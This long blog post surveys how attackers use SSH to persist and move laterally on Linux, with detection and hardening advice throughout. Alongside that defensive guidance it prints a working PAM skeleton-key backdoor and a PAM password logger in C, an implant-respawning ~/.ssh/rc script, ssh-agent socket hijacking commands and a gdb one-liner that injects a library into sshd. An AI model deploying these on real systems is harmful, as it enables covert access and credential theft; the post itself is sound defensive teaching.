Linux Persistence: SSH

This is a long-form blog post about methods attackers use to achieve persistence by leveraging SSH on Linux and Unix-like systems. This post ended up being much longer than I originally anticipated–there are a ton of ways to establish persistence and enable lateral movement by abusing SSH.

Despite the length, I’ve probably still missed a few techniques. I’ll likely revisit this post over time as I come across new methods and better approaches.

Introduction

SSH is the ubiquitous remote administration system for Linux, Unix-like systems, networking gear, and even Windows sometimes. As such, it has a long and storied history of abuse, with hundreds of distinct pieces of malware targeting it in one way or another. Today, most Linux and Unix-like endpoints will be using the OpenSSH client and server implementations.

SSH is an attractive target because it is expected to be running–it’s the de facto standard for remote access to remote Linux systems. It runs as root and handles key and password material, offering attackers opportunities to harvest credentials that may grant access to additional systems.

The 2018 research paper The Dark Side of the ForSSHe - A landscape of OpenSSH backdoors notes that between 2016 and 2018, ESET Research observed 21 OpenSSH malware families being used in the wild–12 of which being previously undocumented. Keep in mind this is just one security company and their visibility is shaped by their customer base and regional presence

This is only the surface; there are many older examples on GitHub, PacketStorm, and similar sites that can be modified or adapted for modern use. It is almost certain that additional strains existed during that time that ESET didn’t detect. Given that seven years have passed since that research, it is likely that many new variants or evolutions have emerged.

SSH intrusions can difficult to detect because attacker behavior often mimics legitimate user activity. An attacker logging in and reading email or viewing logs may not raise any alarms, but these kinds of attacks can be devastating.

Fortunately, SSH malware generally falls into a handful of categories. This narrows the scope for hunting and analysis:

• Binary replacement malware - Attackers modify and replace the SSH client and/or server binaries on disk.

• Configuration abuse - Attackers may add their own keys to user accounts, reconfigure sshd_config to weaken security, enable login access for normally restricted users, or abuse shell profiles and rc files for persistence

• LD_PRELOAD abuse - Attackers inject malicious shared libraries using LD_PRELOAD to hook authentication functions to steal credentials or keystrokes.

• ptrace injection - Tools like 3snake use ptrace to inject code into SSH software to capture sensitive information or manipulate execution flow. This is similar in spirit to LD_PRELOAD abuse.

• PAM backdoors - Attackers insert malicious PAM modules to log credentials and allow logins with hard-coded credentials.

This post focuses primarily on persistence via SSH and related systems, with additional coverage of detection, hunting, and hardening tips. For a more comprehensive guide to securing SSH, see my SSH hardening guide.

Initial Entry

SSH isn’t just used as a persistence mechanism by attackers–it’s often how attackers gain their initial foothold on Linux systems. Whether through brute forcing credentials, exploiting misconfigurations and vulnerabilities, or looting credentials from prior compromises, SSH provides a direct, low-noise path into Linux and Unix-like systems.

Passwords

Password authentication is the most straightforward and familiar way to access systems over SSH. It has been around for decades and remains one of the most–if not the most–common authentication methods.

Unfortunately, it’s one of the easiest to abuse. Below are some of the most common ways attackers take advantage of SSH password authentication.

Default or Weak Credentials

Many vendors and software developers ship their systems with default credentials to simplify initial setup. These are meant to be temporary–users are expected to log in and change them during initial configuration. Often, these are left in place due to oversight or ignorance which can be a goldmine for attackers.

A classic example is the Raspberry Pi’s default login: pi:raspberry. Other common pairs include admin:admin, root:root, root:toor, ubuntu:ubuntu, and many more.

Sometimes, vendors may include undocumented “support” or “backdoor” accounts that are intended for remote maintenance. For instance Symantec Messaging Gateway included a default support:symantec login. Barracuda Networks took this a step further, embedding multiple hard-coded passwords that couldn’t be removed.

A common attack technique is to fingerprint the software running on a system, look up known default credentials, and simply try them. It sounds basic and dumb, but it works. Botnets like Mirai have been abusing this exact approach for years–with great success.

Similarly, weak credentials pose a similar problem. Although they aren’t documented and as easily abused, if an attacker can easily guess credentials, you can be assured that they will discover and abuse them. In The Cuckoos Egg, Clifford Still detailed how KGB-linked hackers abused this tactic in the 1980s, compromising systems by dialing in and trying to login with weak or default credentials. Despite the limited computing resources of the time, they achieved alarming levels of success and access by simply guessing logins such as guest:NO PASSWORD, test:test, or admin:admin.

Password Reuse

Even when passwords aren’t weak, reusing them across multiple systems creates a huge attack surface, ripe for abuse by attackers. Once a single system is compromised–whether it’s a third-party web service, a personal email account, or an old dev box–attackers can harvest credentials gleaned from these systems and try the same credentials elsewhere. This is the basis for credential stuffing attacks.

SSH makes this particularly dangerous. A reused password leaked from that janky book club forum you haven’t visited in 6 years could grant shell access to production systems–no malware or exploits required.

Using one or two “strong” passwords may be convenient, but it comes with serious risks. If those passwords are reused across dozens or hundreds of systems, changing them can be a nightmare.

Making matters worse, attackers frequently leak plain-text credentials or full account databases, making them freely available to others. Sometimes it’s done for extortion, to destroy reputations (as in the Ashley Madison breach), or simply for the lulz.

The ideal fix for password reuse is to use a password manager secured with a strong master password, and generate unique passwords for every account. Even better, skip password-based SSH authentication entirely and use certificates or keys instead.

Detection of Password-Related Attacks

Detecting abuse via passwords can be tricky–especially when attacker mimic normal user behavior. Still, there are a few red flags worth watching out for, many of which leave traces in auth.log:

• Multiple failed logins followed by success

  This is the classic signature of brute force or wordlist attacks. One or two failures isn’t odd, but dozens (or more) followed by success is troublesome.

  As an aside, I’ve worked more than one incident in which the victims were being attacked for months by the same IP addresses before one finally succeeded. The victim was surprised that someone actually succeeded, but the writing was on the wall–they had hundreds of megabytes of compressed logs showing that they had been under attack for months, and didn’t catch it.

• Logins from users who shouldn’t be logging in

  You should know which users are supposed to SSH into a box. If accounts like www-data, nobody, bin, or mail are logging in, it is almost certainly hostile. Attackers will often add passwords and set a valid login shell to these service accounts post-compromise to maintain access. These accounts are not suspicious in of themselves and are supposed to be there for segregating permissions and resources of various underlying services, but they are not meant for logging in.

  Tip: Setting the AllowUsers directive in sshd_config limits logins to specific users or groups.

• First-time IP addresses

  If a user always logs in from a handful of IP addresses (common), a sudden login from a totally new address should raise eyebrows. It could be someone using stolen credentials from a different location, or lateral movement within the network.

• Logins at strange times

  Most people keep somewhat regular hours. They work at the same hours on the same days. Wake up and go to sleep roughly at the same time every day, maybe sleeping in or staying up a little on the weekends. As such, legitimate logins will eventually form a time-based pattern.

  Once this pattern has been established, logins occurring outside of these times should be treated as suspicious–doubly so if they originated from an uncommon IP address.

  Sometimes, emergencies may happen on the user’s day off or some late night maintenance outside of operational time may be required. This is still worthy of a security alert.

• Massive spikes of login failutes

  Bots and worms love SSH. If you suddenly see hundreds or thousands of login attempts in a short window, someone’s likely targeting you for brute force attacks or scanning your infrastructure for weak credentials. Either way, these are good reasons to step up defenses or temporarily restrict access.

• Same user logging in from multiple IP addresses simultaneously

  This, coupled with the user’s typical set of IP addresses is another red flag for stolen credentials.

  It is not as suspicious if a user logs in from work, forgets to close their session, then logs in from the VPN later. However, it is suspicious if the user is logged in from several different IP addresses simultaneously or within a short time frame.

Hardening

The most effective way to shut down password-based attacks is to disable them entirely. Use SSH keys or certificates instead–full stop. Certificate-based authentication is easier to manage at scale, more secure, and eradicates entire classes of credential-based attacks such as brute forcing, credential spraying, and abusing weak or default credentials.

If you must use passwords, you should seriously evaluate why. If passwords absolutely has to remain enabled, definitely implement basic safeguards. One of the simplest is disabling root logins by setting the PermitRootLogin directive in sshd_config to no.

This directive has several benefits:

• It forces attackers to compromise non-root accounts first, then find a path to escalate privileges.

• It improves auditability–when everyone logs in as root, it is much harder to track individual actions.

• It encourages more deliberate administrative behavior. Logging in as a regular user and explicitly escalating to root using sudo or su adds a useful layer of friction and accountability.

Another effective measure is to install Fail2Ban or similar software. These tools detect brute force attempts and temporarily ban the offending IP addresses, slowing attackers to a crawl and making these attacks largely infeasible.

For a deeper dive into hardening SSH services, check out my full SSH Hardening Guide

Keys

SSH keys are generally considered more secure than passwords, but they are far from bulletproof. Attackers commonly drop their own keys onto systems post-compromise to maintain access, or collect private keys from compromised accounts to move laterally within a network.

The biggest issue with key-based authentication isn’t technical–it’s operational. Managing keys across dozens or hundreds of users and systems quickly gets messy. Without centralized control or key rotation policies, environments become riddled with untracked keys, unknown access paths, and zombie accounts. If you are operating at any kind of scale, you should be using SSH certificates instead of raw keys. Certificates are easier to revoke, expire, and audit.

Understanding authorized_keys

Each user can create a .ssh/authorized_keys file within their home directory. This file houses public keys–each entry grants SSH access to that user’s account for anyone in possession of the corresponding private key.

Post-compromise, attackers often add their own keys to this file, granting themselves persistent access without touching any system binaries or installing malware. Their logins may not even raise any alarms, since SSH sees their access as another “legit” key.

Unless explicitly disabled in sshd_config, most systems will fall back to password authentication when no valid keys are available.

By default, SSH looks for ~/.ssh/authorized_keys, however this can be changed via the AuthorizedKeysFile directive in sshd_config.

Each key entry includes the key type, the base64-encoded public key, and an optional comment. It may also include advanced options like forced commands, restrictions, or login control:

ssh-rsa AAAAB3NzaC1yc...TRUNCATED...RPimmrX9YC0MMxk= daniel@rattlesnake

This format is documented in the AUTHORIZED_KEYS FILE FORMAT section of the sshd manual page.

Also worth noting: some systems, especially legacy systems or those configured for backwards compatibility may still check authorized_keys2, a deprecated and largely forgotten file. You may still find this in the wild, and many security tools may fail to check authorized_keys2, providing an excellent spot for attackers to hide their keys and evade detection.

Generating SSH Keys

To create a key pair, use ssh-keygen. It will prompt for a save location and optional passphrase. The example below shows an RSA key creation, but ED25519 is a great choice today for most users:

 % ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/daniel/.ssh/id_rsa): /home/daniel/.ssh/id_rsa3000
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/daniel/.ssh/id_rsa3000
Your public key has been saved in /home/daniel/.ssh/id_rsa3000.pub
The key fingerprint is:
SHA256:SonHa2l0g2oBJg5YTKZ5bJhSYUwfdCfWrWXUscnmf4U daniel@rattlesnake
The key's randomart image is:
+---[RSA 3072]----+
| =Ooo +..o....   |
|.@o. + o. +..o   |
|X * .    +  =    |
|+= . o o.  o   . |
| .  o B S   . E .|
|     * = .   .  .|
|    o *       . .|
|   . o         . |
|                 |
+----[SHA256]-----+

You’ll also see a “randomart” image which is rarely used in practice, but can indeed be useful; this randomart image provides a visual aid for keys which is much easier for humans to process than reading a key. For some nerdy deep dive into this, see this blog post on The Drunken Bishop Algorithm.

Setting or Changing Key Passphrases

When generating keys, SSH provides the option to set a passphrase to protect the private key. This adds another layer of defense–someone can’t use the stolen key unless they also have the passphrase.

To change or add a passphrase to an existing key:

ssh-keygen -p -f /path/to/id_rsa

Example interaction:

 % ssh-keygen -p -f /home/daniel/.ssh/id_rsa3000
Enter old passphrase: 
Key has comment 'daniel@rattlesnake'
Enter new passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved with the new passphrase.

Lateral Movement With Keys

If private SSH keys are accessible, attackers can loot them and attempt to leverage them for lateral movement across the network. This is especially potent when targeting hosts within the compromised user’s known_hosts file–after all, that list reflects where the key has likely been used before.

known_hosts File

The known_hosts file stores public key fingerprints of remote SSH servers that a user has connected to, allowing SSH clients to warn the user if a server’s key changes–potentially signaling a Man-in-the-Middle attack.

These files are located at:

• /etc/ssh/known_hosts (global config)

• ~/.ssh/known_hosts (per user)

Historically, entries in known_hosts were stored in plaintext, meaning an attacker could easily parse and extract a list of IPs or hostnames the user had connected to. If they also obtained the user’s private key, they’d now have a handy map of potential targets to try it against.

Modern implementations now hash these entries by default, but hashed entries can still be cracked with tools like Hashcat or John the Ripper.

This behavior is controlled by the HashKnownHosts directive in ssh_config.

Defending known_hosts

Monitoring and protecting the known_hosts file is important:

• Unexpected access: Look for anything accessing this file that isn’t the SSH client itself. Suspicious reads or midications may indicate credential theft or reconnaissance activity.

• Hashed doesn’t equal secure: Just because the entries are hashed doesn’t mean they are safe–attackers with strong GPUs or targeted word lists can reverse them. For example, if the attacker suspects that these entries are for RFC1918 internal IP addresses (e.g., 192.168.0.0/16) or internal host names (e.g., dev1, prod-web-02, …), they can make word lists for these and easily crack the files. Hashing protects against casual snooping, not dedicated adversaries.

Hunting For Malicious SSH Keys

Unless you have an accurate, up-to-date inventory of authorized SSH keys (you should–but most organizations don’t), finding malicious or unauthorized keys can be tricky. Still, there are several strategies that can help harrow down your focus and highlight suspicious entries:

• Sketchy comments–or no comment at all

  authorized_keys entries follow this format:

  <algorithm> <base64-encoded key> <comment>
  

  Look for strange or telling comments like root@kali, root@parrot, or randomized, nonsensical values.

  Many attackers omit the comment entirely, which can also be a red flag.

• Weak or deprecated algorithms

  Watch for outdated, inferior, or deprecated algorithms such as ssh-dss or RSA keys under 2048 bits. These are insecure and uncommon in modern environments.

• Unusual modification times

  Look for key-related files with modification times within the timeline of an intrusion.

• Key reuse across multiple accounts

  If the same public key appears in multiple users’ authorized_keys files, it could indicate an attacker establishing persistence across accounts.

• Shell access for service accounts

  Check authorized_keys files for users such as nobody or bin that otherwise shouldn’t log in. Any entries here are highly suspicious. These accounts generally shouldn’t be able to log in interactively.

• Immutable or append-only flags

  Attackers may set immutable or append-only flags on _authorized_keys files to make detection and remediation more difficult.

• Presence in threat intelligence feeds

  Compare keys against known-bad datasets like Rapid7’s ssh-badkeys to catch reused or publicly leaked keys.

• Unexpected access or modification

  These files should only be touched by trusted tools–SSH itself, ssh-copy-id, or ssh-keygen. Use auditd, EDR tools, or syscall logging to flag unexpected processes that read or write authorized_keys files.

Correlating Key Hashes From auth.log With authorized_keys Entries

Successful key-based logins typically look like this in auth.log:

2025-03-07T20:46:47.017127+00:00 awesome_server sshd[40972]: Accepted publickey for daniel from 10.10.10.123 port 10017 ssh2: RSA SHA256:Azu+vr3lw5SB2UFUuhRqpd5DwQCp75UGfk8b7rLr25W

That “SHA256Azu+…” string is a fingerprint of the key used, but looks nothing like an authorized_key entry.

To match it, use ssh-keygen to display the fingerprints of the keys within authorized_keys:

 ssh-keygen -l -E SHA256 -f /path/to/authorized_keys

Example output:

3072 Azu+vr3lw5SB2UFUuhRqpd5DwQCp75UGfk8b7rLr25W daniel@radmobile (RSA)

If the comment is unique, you can easily pick out the offending entry and remove it or comment it out. If there are several similar entries, you can dump the line numbers with this quick and dirty one-liner:

cat -n /path/to/authorized_keys | while read -r num line; do [[ -z "$line" || "$line" =~ ^# ]] && continue; fp=$(echo "$line" | ssh-keygen -l -E SHA256 -f - 2>/dev/null); if [[ -n "$fp" ]]; then echo $num $line; fi; done

Tip: If you’re stick in a non-interactive shell (e.g., using a remote administration tool such as Crowdstrike Falcon), you won’t be able to use an editor such as vi or nano to jump directly to the offending lines. If this is the case, you can use sed to delete specific lines. The following example deletes line 13 from an authorized_keys file. Replace ‘13’ with the line number you intend on deleting:

sed -i '13d' /path/to/authorized_keys

SSH Agent Abuse

Securing SSH keys with passphrases is a good idea, but typing that passphrase every single time you connect gets old fast. That’s where SSH agents come into play by caching unlocked keys in memory, streamlining repeated logins. However, like most convenience features, it opens the door to abuse.

Attackers can hijack active agents, abuse agent forwarding, and pivot through your session. This section explores how ssh-agent works, how it is abused, and what you can do to lock it down.

What is ssh-agent?

ssh-agent is a per-user daemon process that stores decrypted private keys in memory. When you use a passphrase-protected key, the agent prompts for the passphrase once and keeps the key unlocked for the rest of your session without repeatedly prompting for the passphrase.

This article discusses using ssh-agent in depth, but the basic usage is as follows:

ssh-agent is used in conjunction with ssh-add:

eval $(ssh-agent)
ssh-add [optional path to keys] # adds ~/.ssh/id_* keys by default
ssh user@host                   # reuses the unlocked key without prompting
ssh-add -l                      # list loaded keys

SSH Agent Forwarding

Agent forwarding allows your local agent to be used by remote systems that you SSH into. In effect, it lets you authenticate to other hosts from a jump box without copying private keys to that remote system.

While convenient, this feature can be risky: if an attacker gains control of the remote host, they can use your forwarded agent to pivot deeper into your infrastructure.

To enable agent forwarding:

ssh -A user@jumpbox

To disable it (recommended unless you really need it), set this in your SSH client’s configuration:

Host *
  ForwardAgent no

To enforce it server-side, set the AllowAgentForwarding directive in sshd_config to no.

If you are not utilizing this feature, it is recommended to turn it off.

ssh-agent Hijacking

If an attacker gains shell access to a system and your agent is active, they may be able to hijack it and utilize your unlocked keys.

Each agent exposes a UNIX socket defined by the SSH_AUTH_SOCK environment variable. If an attacker can read this socket, they can piggypack on your agent to SSH elsewhere–no key or passphrase required.

To find sockets tied to an active user, search process environments in /proc for the SSH_AUTH_SOCK variable:

cat /proc/PID/environ | tr '\0' '\n' | grep SSH_AUTH_SOCK

From here, the socket can be used by an SSH client:

SSH_AUTH_SOCK=/path/to/victims_agent_socket ssh user@target

Note: the attacker must already have access to your account (or root) to access this socket. Once they do, this is a quiet, effective method for lateral movement.

A straightforward walkthrough of this technique can be found here.

Desktop Agents and ssh-askpass

On desktop environments, ssh-agent may be replaced or supplemented by graphical key managers such as gnome-keyring or KWallet. These tools integrate tightly with the GUI and may automatically unlock SSH keys when you log in, without prompting for a passphrase at all.

Additionally, some environments configure the SSH_ASKPASS mechanism, which allows GUI prompts to be used instead of terminal input. This can lead to keys being loaded silently or reused in ways the user didn’t explicitly authorize.

For example, an attacker with access to a desktop session may:

• Hijack an unlocked agent from gnome-keyring

• Use SSH_ASKPASS to trick the user into unlocking a key via a popup

• Hijack forwarded agents from X11 or SSH-over-X11 sessions.

While these attacks are less common than the terminal-based hijacks, they are possible–especially in mixed desktop/server environments.

To mitigate these threats:

• Avoid persistent key unlocks tied to login sessions (refer to your software’s documentation)

• Lock your desktop when you are not physically at the computer

• Disable or restrict SSH_ASKPASS

• Monitor for abnormal agent socket usage and unexpected GUI prompts

Re-configuring or Weakening sshd_config

Attackers don’t always need malware or exploits to maintain access–sometimes, subtle (or not-so-subtle) changes to sshd_config are enough. While less stealthy than other methods, SSH configuration abuse still crops up in real-world intrusions, especially when defenders aren’t watching for it.

These changes are often easy to detect with proper monitoring or configuration management, which is part of why these techniques aren’t as popular as altering the execution flow of SSH software. Still, when applied thoughtfully, malicious SSH configuration changes can significantly weaken a system’s security posture.

Re-enabling Password Logins

If password-based authentication has been disabled, attackers may re-enable it to lower the bar for access–especially if they have harvested valid credentials by setting the PasswordAuthentication directive in sshd_config to yes.

An real-world example of this is the vlany LD_PRELOAD rootkit re-enabling PasswordAuthentication if it is not set in it’s install.sh.

Re-enabling root Logins

Attackers may also re-enable root logins by setting the PermitRootLogin directive in sshd_config to yes or without-password. This will enable them to skip privilege escalation entirely.

Alternatively, they may set the slightly more restrictive setting PermitRootLogin without-password, which may evade simple checks of this setting being set to yes. This lets the attacker directly login as root using a key or certificate.

Disabling Logging

Attackers may try to apply the anti-forensic techniques of disabling logging or login warnings by:

• Setting LogLevel QUIET to suppress logging to auth.log

• Disabling the “last login” message by setting PrintLastLog no

These changes are small, but can significantly impair detection and incident response after an intrusion; no logs, no crime.

Hiding Backdoor Keys With a Custom Path

By default, OpenSSH expects to find authorized keys in ~/.ssh/authorized_keys. Attackers can subvert this by setting a non-standard path:

AuthorizedKeysFile /path/to/.some_cool_backdoor_keyfile

This allows them to load their own keys while evading tools that only check the standard file locations. Unless defenders are explicitly looking for overrides in sshd_config, this can remain unnoticed for a long time.

Enabling Agent and Port Forwarding

To facilitate lateral movement, attackers may enable:

AllowAgentForwarding yes
AllowTcpForwarding yes
GatewayPorts yes

These allow the attacker to forward SSH agents, pivot through internal hosts, or expose internal services to the outside world. These settings should be reviewed and disabled if not required.

Weakening Cryptographic Algorithms

Attackers may deliberately lower the cryptographic bar by enable older or broken algorithms via:

• HostKeyAlgorithms

• Ciphers

• KexAlgorithms

This could allow downgrade attacks, compatibility with legacy attack tooling, or evasion of hardened clients that reject weak settings. Always audit these directives and prefer modern defaults like chacha20-poly1305, curve25519-sha256, or ed25519.

Note: this was written in 2025. Changes in cryptography occur frequently. This list will likely be wrong in a year or two.

Defending Against Malicious SSH Reconfigurations

• Monitor for Changes - Watch for unexpected reads and writes to /etc/ssh/sshd_config using auditd, EDR, or file integrity monitoring.

• Configuration Management - Enforce known-good settings in sshd_config using tools such as Puppet, Ansible, or Chef. These can be used to detect configuration drift and for enforcing proper settings.

• Log the Unexpected - If feasible, use extended logging (LogLevel VERBOSE) to capture additional context around SSH logins and reconfigurations.

sshrc, bashrc, .profile, and Friends

Many users are familiar with shell startup files such as ~/.bashrc or /etc/profile. Fewer realize that SSH sessions can also trigger custom initialization scripts–specifically via sshrc.

What is sshrc?

OpenSSH supports running scripts when a user logs in:

• /etc/ssh/sshrc - global SSH rc file

• ~/.ssh/rc - per-user SSH rc file

These files execute after authentication, but before the user is presented with a shell prompt.

This behavior is similar to modifying other shell startup files such as:

• /etc/profile

• ~/.bashrc

• ~/.bash_profile

• ~/.zshrc

• …

Attackers can abuse these files to maintain persistence, re-spawn implants, run payloads, or log keystrokes without touching the system’s binaries or authentication mechanisms.

Basic sshrc example:

$ cat .ssh/rc
id
id
id

Now, when the user logs in with SSH:

$ ssh user@host
...snip...
motd output omitted
...snip...
Last login: Sat Mar  8 18:17:49 2025 from 174.72.202.62
uid=1000(user) gid=1000(user) groups=1000(user),27(sudo)
uid=1000(user) gid=1000(user) groups=1000(user),27(sudo)
uid=1000(user) gid=1000(user) groups=1000(user),27(sudo)
user@host:~$

Malicious Example of sshrc

A more realistic and dangerous use case is re-spawning a user-level implant if it is not currently running. This technique is less likely to be noticed than a cron job or systemd unit as it is a bit more esoteric, and doesn’t require root.

To spawn the attacker’s implant, they edit the user’s ~/.ssh/rc file:

# restart implant if it isn't running
if [ ! /path/to/pidfile ]; then
    /path/to/implant
else
    kill -0 $(cat /path/to/pidfile) 2>1 &>/dev/null
    if [ $? -eq 0 ]; then
        exit 0
    else
        /path/to/implant
    fi
fi

This approach ensures that the implant re-launches on login if it has crashed, been killed, or hasn’t started yet.

Detection and Defense for SSH RC Files

• Monitor these files - Watch for writes to SSH rc files and other shell startup files. Their modification is relatively rare and almost always deliberate.

• Use configuration management - Configuration management is able to enforce known-good settings on these files and alert on drift.

Modifying SSH’s Execution Flow

Attackers don’t play by the rules. Once they gain root, they likely won’t stop at simply editing configuration files or adding users. Instead, they modify how system software behaves–modifying execution flow to ensure stealth, persistence, and control.

Root access opens the door to nearly unlimited options. Attackers usually don’t reinvent the wheel–their goals are usually simple:

• Stay in the system

• Stay hidden

• Expand to other systems

These goals are often accomplished using rootkits: software that subverts the operating system to hide processes, users, files, or network activity. Administrators rely on tools like ps, netstat, find, or tcpdump–rootkits manipulate these tools and their underlying system and library calls to mask their malicious actions.

SSH is a prime target for this type of tampering. It’s the most common method for remote access–and thus a perfect vector for persistence and credential theft. Rootkits may:

• Add hard-coded passwords or backdoor keys

• Weaken security settings

• Blind security tools

• Log credentials for lateral movement

• Hook or replace binaries and libraries

Sometimes attackers sit quietly, waiting for an admin to log in naturally. Other times, they may cause a disturbance (e.g., killing a service or filling the disk) to entice an administrator to log in so they can capture their credentials.

Once a system has been compromised at this level, it’s toast. You can’t rely on logs, binaries, or even security tools–they may have all been tampered with. The saying “you can’t un-root a system” exists for a reason.

If defenders manage to catch the intrusion early and have strong visibility, they might uncover enough clues to piece things together. A lucky hit in a threat intel report might help reveal parts of a rootkit or the specific toolkit in use.

But rootkits are, by definition, designed to evade detection. Even with forensic tools and endpoint security, there’s no guarantee you have full visibility. The only safe path forward is to assume the worst, wipe the system, and rebuild it from known-good sources.

Binary Replacement

One of most straightforward and old school ways to modify execution flow is to simply replace binaries or libraries with malicious copies.

An attacker can take the SSH server source code, inject malicious functionality, recompile it, and overwrite the legitimate binaries. This grants full control while maintaining the appearance of normal system behavior.

A real-world example of this technique is covered here, where a modified SSH daemon silently logged credentials.

Binary replacement attacks are easy to detect if you have file integrity monitoring in place or verify ssh-related packages. Without periodic integrity checks, these malicious binaries can persist for a long time–blending into the system and quietly causing damage.

PAM

Another powerful way to subvert SSH authentication is by tampering with PAM–the Pluggable Authentication Modules system used by most Linux distributions and Unix-like systems. Malicious PAM modules are a favorite post-compromise move for attackers who want stealthy, persistent access.

These modules can provide one or more of the following:

• Backdoor access using hard-coded credentials

• Environmental triggers that silently grant access

• Credential logging for future lateral movement

Skeleton Key Backdoors

One common trick is to create a “skeleton key”–a password that works for any user, regardless of what is stored in /etc/shadow. This is done via a PAM module that intercepts passwords, comparing against a hard-coded value. if it matches, the login is granted before the usual authentication process even kicks in.

Here is a minimal example:

#include <string.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>

#define PASSWORD "ultra_cool_password" // change this!

PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags,int argc, const char **argv) {
    const char *password;

    pam_get_authtok(pamh, PAM_AUTHTOK, &password, NULL);

    if (password && strcmp(password, PASSWORD) == 0)
        return PAM_SUCCESS;

    return PAM_IGNORE;
}

PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    return PAM_SUCCESS;
}

Credential Harvesters

Another favorite: logging plaintext passwords. Since PAM modules reside within the authentication pipeline, they see credentials before they are hashed or passed on. No cracking necessary!

Attackers often modify pam_unix or insert a custom module that silently logs credentials to a file. For example:

#include <stdio.h>
#include <string.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>

#define LOGFILE "/var/log/.cutepasswords"

PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    const char *user;
    const char *password;
    FILE *fp;

    pam_get_user(pamh, &user, NULL);
    pam_get_authtok(pamh, PAM_AUTHTOK, &password, NULL);

    if (user && password) {
        fp = fopen(LOGFILE, "a");
        if (fp) {
            fprintf(fp, "user: %s pass: %s\n", user, password);
            fclose(fp);
        }
    }

    return PAM_IGNORE;
}

PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    return PAM_SUCCESS;
}

Defending Against PAM Abuse

• File integrity monitoring 0 Track changes to PAM configuration, libraries, and modules.

• Package verification - Confirm that PAM-related files match known-good versions from your package manager or software vendor.

• Timeline correlation - Look for suspicious PAM modifications occurring within the time frame of an incident.

• Audit login modules regularly - Know what’s installed, who installed it, and why.

If you are not actively monitoring these systems, malicious PAM modules can thrive undetected for months–or forever.

System Call and Library Function Hooking

Hooking is a technique used by malware (and legit software!) to intercept or modify the behavior of function calls. It allows attackers to alter system or library functions at runtime–either for stealth, data capture, or manipulation of control flow.

In the context of SSH, hooking is a powerful technique. Attackers can intercept authentication functions, modify inputs or outputs, and completely subvert expected behavior without altering binaries on disk.

Here is a basic pseudocode example illustrating the concept of hooking:

// pointer to the original function
int (*original_function)(int, char *) = NULL;

// hooked function
int hooked_function(int param1, char *param2) {
    // if parameters match some arbitrary values, do something cool
    if (param1 == SOME_VALUE) || strcmp(SOME_VALUE, param2) == 0) {
        do_something_cool();
    }

    // call the original function
    return original_function(param1, param2);
}

// install the hook
__attribute__((constructor))
void install_hook() {
    // resolve the symbol of the original function
    original_function = dlsym(RTLD_NEXT, "hooked_function");

    if (!original_function) {
        fprintf(stderr, "something bad happened\n");
    } else {
        print("hooked 'hooked_function' successfully\n");
    }
}

Commonly Hooked Functions in OpenSSH Malware

After reviewing several malware samples targeting OpenSSH, some consistent patterns emerge..

Client side targets:

• userauth_passwd
• ssh_askpass
• try_challenge_response_authentication
• input_userauth_info_req
• input_userauth_passwd_changereq
• read
• write
• getpass

Server side malware tended to hook:

• auth_password
• sshpam_respond
• sys_auth_passwd
• sshpam_auth_passwd
• server_listen
• read
• write

Both sets of functions tended to focus on authentication–granting backdoor access, logging inbound connections, or cloaking malicious connections.

LD_PRELOAD

LD_PRELOAD is a powerful feature of the dynamic linker that allows a user to inject a shared object into the address space of any dynamically-linked program before its normal libraries are loaded.

LD_PRELOAD has plenty of legitimate uses–profiling, debugging, patching unmaintained software–but it also opens the door to abuse. Attackers frequently weaponize LD_PRELOAD to implement rootkits, backdoors, or credential stealers by hooking key functions.

A solid roundup of LD_PRELOAD-related projects can be found here:

https://github.com/gaul/awesome-ld-preload

In The Dark Side of the ForSSHe, researchers highlight a few post-compromise toolkits that abuse LD_PRELOAD to backdoor OpenSSH. While most samples are closed-source, the technique itself is well-documented and popular in the wild.

LD_PRELOAD may be injected

• Per-process - by setting the LD_PRELOAD environment variable

• Globally - by appending a path to /etc/ld.so.preload–this affects every dynamically-linked binary on the system.

Hardening features like PIE, RELRO, or symbol stripping can make key functions like auth_password() harder to hook, but not impossible.

Detecting and Defending Against LD_PRELOAD Attacks

• Use statically-linked binaries - Using statically-linked binaries, especially for critical incident response tools are immune to LD_PRELOAD techniques.

• Monitor the environment - Check for active processes with the LD_PRELOAD variable set.

• Inspect /etc/ld.so.preload - Check the contents of ld.so.preload for suspicious entries.

ptrace

ptrace is a debugging interface that allows processes and control other processes. It is mainly used by debuggers like gdb, but attackers love it too because it gives full access to a process’s memory and registers.

With root access, ptrace becomes a weapon. Attackers can:

• Inject malicious code into running processes

• Modify program behavior at runtime

• Extract secrets such as credentials and keys from memory

One real-world example is 3snake, a post-compromise tool that monitors for new SSH-related processes, injecting code into them. It hooks read() and write() to intercept login credentials in real time.

Alternatively, ptrace can be used manually. Here’s a quick example of injecting a shared object into sshd using gdb (which uses ptrace under the hood):

echo 'print __libc_dlopen_mode("/path/to/library.so", 2)' | gdb -p PID_OF_SSHD

This technique is discussed in depth in this blog post, which walks through injecting into sshd to harvest passwords.

Defending Against ptrace

If your system doesn’t explicitly need trace, disable it.

Linux includes the Yama LSM, which can restrict ptrace usage. Set the kernel.yama.ptrace_scope sysctl to lock it down:

• 0: No restrictions.

• 1: Processes may only trace their descendants

• 2: Only processes with CAP_SYS_PTRACE capabilities may use ptrace

• 3: No process may use ptrace, even root

Example usage:

sysctl -w kernel.yama.ptrace_scope=3

Conclusion

SSH is a high-value target–both for defenders and attackers. Its ubiquity, power, and flexibility make it a prime focus for abuse.

Scrutinize it accordingly.

Ensure the integrity of your SSH-related files and binaries. Monitor for unexpected changes. Disable what you don’t use. And most importantly: baseline your systems so that you know what normal looks like–because when something goes sideways, that knowledge is everything.

See something I’ve missed? Errata? Please feel free to email me.